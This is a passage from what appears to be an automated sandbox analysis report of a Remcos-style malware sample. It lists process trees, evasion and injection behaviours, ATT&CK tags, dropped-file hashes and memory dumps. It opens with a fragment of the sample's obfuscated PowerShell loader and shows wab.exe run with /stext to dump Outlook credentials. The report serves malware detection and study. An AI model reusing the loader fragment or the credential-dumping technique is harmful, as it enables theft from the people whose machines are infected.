'Monkeyh$Forhandg PhenomlUnvolatoTephillbTerraqua ConfeslMegatro:He inecIArbej,ssAabnin oGlitr nlSparadaa hndt ktUmennesi,vscalaoKonomiknBu,lneciGlycbipsAcceptemEponymie Retsren Meddel=Than.as$Viola eD AnthotaMar heln P rtren BanditeA tivibl CapitasDicetylegimpings StudentTehusetrTilgodeisno,korn TjenesehistoritPaakravsSt.nden.HostedesAmatrsku N,veaubSnudespsS.ccesot BindebrOssuaryiSlid ennHjrnesogBhutane( Rgerst$Str.ngeBXenarthaWordp,rn Esto,sqG.neraluNeutraleS,ulptrtProcommtExpedefesuperhi, .redba$MixupseJGazelleuLaryngibKoldefoiFejlmellGenstriuRestfulm ApoteksUdisc.pmFarveriiLuftartdGennemfdResta raSambaerg ArchfoeSideross repon)Straali ');afterplanting $Isolationismen;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2716
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snringen.Min && echo t"
      4⤵
      PID:2440
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2156
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\nzcjhfqkolqhjlkepjyourzvwsjdvbi"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1740
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\xbpc"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:2956
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\avvuipm"
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 8c5da3d7c1216ac60b40c7afaaf1672cc2eb46b083d1b09d6820d27cf3878a37
MD5 cd0c87c19243c6b901e742e14bb20870
SHA1 74a5dbd7a0cd57e05209367f3e4be5f8cfcb75f7
SHA512 ddeeb8dc9215701840edb2594ce86ecc8a30b2c63722fe7732522880ccdbbdd04cd02e149432500f8a8b3c285c7aa23fe4f0cf40c1d68f0de0773cc73030a7b4
MD5 SHA1 SHA512

Submit Download

nzcjhfqkolqhjlkepjyourzvwsjdvbi

Path C:\Users\Admin\AppData\Local\Temp\nzcjhfqkolqhjlkepjyourzvwsjdvbi
Size 2B
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
MD5 SHA1 SHA512

Submit Download

A6SR1P8ZRP5IWOC8KCB9.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\A6SR1P8ZRP5IWOC8KCB9.temp
Size 7KB
SHA256 ab6c2a0e2dac18094e71a2acb4153aa5465e69505004bf24ad4fc8f80a1887f3
MD5 146ba2fd4ed7c366ab57eaadcb0b3a59
SHA1 4af1fe41a6a2f15147983e9c5d963b896779aaea
SHA512 9f459813bb3fb9cad5aed8609b62cbcef4349554c30a10e499494606894b88a90967b66d8daf80a98e5d6083ee991d0ad5500b26468b1cb7a1dc63fd97fcbf34
SSDEEP 96:85aCNM8YnqvsqvJCwoGf/5aCNM8YnqvsEHyqvJCwor8fvV6CQHgA7SGXlUV9:kvMUoGfxvMAHnor8fvJNA7SGC
MD5 SHA1 SHA512 SSDEEP

Submit Download

Snringen.Min

Path C:\Users\Admin\AppData\Roaming\Snringen.Min
Size 473KB
SHA256 8605270fa54ed8abee25f9bd56ce3e8cb7718bdd4aec307dc9aac59ee9d9e6dc
MD5 e463c24d75539ecb3d8b4e29e2077990
SHA1 d2390514b769da946413e593cac0829630f575b2
SHA512 831e10c915a8920c1724b619572068b275548740912cf05797e3516602e96041391de9412a0b980606d5c53f6cd0091e2adfd4f1a5b5723e50f1922ef0d15b32
SSDEEP 6144:6dGT6fpSR9JQ0fkoL09u+HsklNcAHiycwwp4r50M2rMNVTPS2fe3IcP1syQOH1mz:6YWozJbfkkQu+HsIcAC2wn+jNhOVRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1740-39-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/1740-44-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/1740-38-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Download

memory/1740-42-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2156-30-0x0000000000BD0000-0x0000000001C32000-memory.dmp

Download

memory/2156-61-0x000000001D5E0000-0x000000001D5F9000-memory.dmp

Download

memory/2156-91-0x0000000000BD0000-0x0000000001C32000-memory.dmp

Download

memory/2156-87-0x0000000000BD0000-0x0000000001C32000-memory.dmp

Download

memory/2156-35-0x0000000000BD0000-0x0000000001C32000-memory.dmp

Download

memory/2156-66-0x0000000000BD0000-0x0000000001C32000-memory.dmp

Download

memory/2156-72-0x0000000000BD0000-0x0000000001C32000-memory.dmp

Download

memory/2156-84-0x0000000000BD0000-0x0000000001C32000-memory.dmp

Download

memory/2156-63-0x0000000000BD0000-0x0000000001C32000-memory.dmp

Download

memory/2156-75-0x0000000000BD0000-0x0000000001C32000-memory.dmp

Download

memory/2156-82-0x0000000000BD0000-0x0000000001C32000-memory.dmp

Download

memory/2156-70-0x0000000000BD0000-0x0000000001C32000-memory.dmp

Download

memory/2156-60-0x000000001D5E0000-0x000000001D5F9000-memory.dmp

Download

memory/2156-56-0x0000000000BD0000-0x0000000001C32000-memory.dmp

Download

memory/2156-57-0x000000001D5E0000-0x000000001D5F9000-memory.dmp

Download

memory/2156-79-0x0000000000BD0000-0x0000000001C32000-memory.dmp

Download

memory/2716-26-0x0000000006750000-0x0000000007506000-memory.dmp

Download

memory/2836-48-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2836-49-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2836-47-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2956-45-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/2956-43-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/2956-40-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Download

memory/2956-41-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/3028-19-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Download

memory/3028-18-0x00000000022C0000-0x00000000022C8000-memory.dmp

Download

memory/3028-17-0x000000001B520000-0x000000001B802000-memory.dmp

Download

memory/3028-27-0x000007FEF5DDE000-0x000007FEF5DDF000-memory.dmp

Download

memory/3028-20-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Download

memory/3028-28-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Download

memory/3028-34-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Download

memory/3028-16-0x000007FEF5DDE000-0x000007FEF5DDF000-memory.dmp

Download